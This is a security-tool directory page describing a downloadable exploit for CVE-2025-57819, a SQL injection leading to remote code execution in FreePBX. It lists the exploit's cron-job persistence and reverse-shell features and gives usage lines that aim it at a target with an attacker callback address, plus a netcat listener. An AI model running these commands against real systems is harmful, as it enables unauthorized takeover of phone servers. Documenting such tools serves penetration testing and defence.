Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-57819-exploit | Kitploit
Tools/GitHubGitHub/its1zero/cve-2025-57819-exploit
Persistence MechanismsVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubits1zero/cve-2025-57819-exploit

cve-2025-57819-exploit

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-57819 Exploit

Metadata

  • Severity: Critical (9.8)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Type: Unauthenticated SQL Injection → Remote Code Execution
  • Affected Software: FreePBX (endpoint module) < 15.0.66, < 16.0.89 and < 17.0.3
  • Tested On: FreePBX 16.0.40.7 on CentOS 7 with Apache 2.4

Overview

This script exploits CVE-2025-57819 in a vulnerable FreePBX endpoint module. The vulnerability allows SQL injection, which is leveraged to inject malicious cron jobs.

There are no additional steps necessary like in other public exploits through interact over an uploaded webshell with the target. It is a straight forward approach, which will brings your directly reverse shell access.

Impact

Remote code execution is achieved through SQL injection and cron job manipulation. Successful exploitation results in a reverse shell on the target system. Depending on configuration, this may lead to full system compromise.

Features

  • SQL injection via vulnerable AJAX endpoint
  • Automatic reverse shell payload generation
  • Cron job persistence via scheduled execution every minutes (* * * * *)
  • Automatic cleanup of injected cron job
  • Uses hex-encoded payloads, as base64 payloads are corrupted when + characters are interpreted as spaces.

Usage

Run the exploit by providing the target and listener configuration:

root@kitploit:~
python3 cve-2025-57819.py <target> <lhost> <lport>

Parameters

  • <target>: Target hostname or IP address (vulnerable FreePBX instance)
  • <lhost>: Attacker IP address for reverse shell callback
  • <lport>: Listening port for incoming connection

Example:

root@kitploit:~
python3 cve-2025-57819.py freepbx.local 10.10.16.38 9999

Listener Setup

Start a listener before executing the exploit:

root@kitploit:~
nc -lvnp <port>

Example:

root@kitploit:~
nc -nlvp 9999

Disclaimer

This tool is intended for educational purposes and authorized security testing only. Unauthorized use against systems without explicit permission is illegal. The author assumes no responsibility for misuse or damage caused by this tool.

Author

Its1Zero - [email protected]

References

  • https://nvd.nist.gov/vuln/detail/cve-2025-57819
  • https://github.com/freepbx/security-reporting/security/advisories/ghsa-m42g-xg4c-5f3h
  • https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
Download Tool